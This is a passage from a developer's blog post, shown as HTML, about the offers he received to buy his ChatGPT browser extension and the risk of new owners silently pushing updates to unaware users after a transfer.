src="https://substackcdn.com/image/fetch/$s_!THqL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png" width="1408" height="1114" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1114,&quot;width&quot;:1408,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:152496,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!THqL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 424w, https://substackcdn.com/image/fetch/$s_!THqL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 848w, https://substackcdn.com/image/fetch/$s_!THqL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 1272w, https://substackcdn.com/image/fetch/$s_!THqL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F16d1cfcd-8937-406c-a36b-f243806bf67d_1408x1114.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!N51E!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!N51E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 424w, https://substackcdn.com/image/fetch/$s_!N51E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 848w, https://substackcdn.com/image/fetch/$s_!N51E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 1272w, https://substackcdn.com/image/fetch/$s_!N51E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!N51E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png" width="1456" height="457" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:457,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:106668,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!N51E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 424w, https://substackcdn.com/image/fetch/$s_!N51E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 848w, https://substackcdn.com/image/fetch/$s_!N51E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 1272w, https://substackcdn.com/image/fetch/$s_!N51E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88e4df4-a3f7-40b4-b07d-44247e967a20_1722x540.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Selling The Whole Damn Thing (a.k.a The Ol&#8217; Switcheroo)</h1><p>The final and most common form of monetization was offers to just buy the extension outright. I got a bunch of these:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a88g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a88g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 424w, https://substackcdn.com/image/fetch/$s_!a88g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 848w, https://substackcdn.com/image/fetch/$s_!a88g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 1272w, https://substackcdn.com/image/fetch/$s_!a88g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a88g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png" width="356" height="123.95543175487465" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:250,&quot;width&quot;:718,&quot;resizeWidth&quot;:356,&quot;bytes&quot;:57486,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a88g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 424w, https://substackcdn.com/image/fetch/$s_!a88g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 848w, https://substackcdn.com/image/fetch/$s_!a88g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 1272w, https://substackcdn.com/image/fetch/$s_!a88g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8280a5a4-59be-4cf4-a548-3a4461e39622_718x250.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qR1u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qR1u!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 424w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 848w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 1272w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qR1u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png" width="412" height="97.08514851485148" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:238,&quot;width&quot;:1010,&quot;resizeWidth&quot;:412,&quot;bytes&quot;:48254,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qR1u!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 424w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 848w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 1272w, https://substackcdn.com/image/fetch/$s_!qR1u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83f6b32e-3b8a-4e3d-9670-36478cb36a01_1010x238.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>One person tried to entice me by sending screenshots of their escrow transactions:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bDZj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bDZj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 424w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 848w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 1272w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bDZj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png" width="224" height="485.96610169491527" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1280,&quot;width&quot;:590,&quot;resizeWidth&quot;:224,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bDZj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 424w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 848w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 1272w, https://substackcdn.com/image/fetch/$s_!bDZj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd971fc51-21e9-41f1-a27b-a27d67795a83_590x1280.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Extension developers will be quite familiar with this. <a href="https://github.com/extesy/hoverzoom/discussions/670">This person collected all their inbound in one place on GitHub</a>. </p><p>I decided to haggle with these people to see how high they would be willing to go. Based on my handful of data points [# users, max_offer], it seems that these individuals are willing to pay about $0.20 per user. </p><p>Now I surely don&#8217;t know what the new owners of these extensions are doing with them, but I don&#8217;t think their intentions are noble. The vector for abuse is easy to understand: buy a well-used extension, compromise its users, and squeeze the juice however you like. Maybe you steal their credit card numbers, may be you sell their traffic, maybe you use them in a botnet. Again: it&#8217;s possible that these acquiring entities do not intend harm, but it sure doesn&#8217;t look that way.</p><p>To transfer ownership of a Chrome extension, all you have to do is <a href="https://support.google.com/chrome_webstore/contact/one_stop_support">fill out this form</a>. That&#8217;s it. The users <em>will</em> <em>not be notified of the new ownership</em>, and their installed extension will continue to silently update with whatever new updates the new owners decide to push out.</p><p>For example, <a href="https://chrome.google.com/webstore/detail/chatgpt-for-google/jgjaeacdkonaoafenlfkkkmbaopkbilf">ChatGPT for Google</a> is by far the most popular ChatGPT extension, with over 2 million installs. It started out innocently, as an open source project on GitHub. I myself was a happy user. However, if you check out the <a href="https://github.com/wong2/chatgpt-google-extension">GitHub repository</a>, you&#8217;ll notice that it was recently acquired:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sb4I!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sb4I!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 424w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 848w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 1272w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sb4I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png" width="1456" height="375" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:375,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:83156,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sb4I!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 424w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 848w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 1272w, https://substackcdn.com/image/fetch/$s_!sb4I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff913d12d-25d1-4e7b-92e5-827b431d7b77_1498x386.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>All of this happened silently. Who bought it? What are they doing with it? We&#8217;ll never know, but I&#8217;m certainly not keeping it installed.</p><p></p><p>Note: <strong>I did not take any of these people up on their offers</strong> and have not monetized ChatGPT Assistant</p><div><hr></div><p><em>Matt Frisbie is the author of <a href="https://www.buildingbrowserextensions.com/">Building Browser Extensions</a></em></p><p><em>You can reach me at <a href="https://www.mattfriz.com/">mattfriz.com</a></em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lhJ0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1456w" sizes="100vw"><img 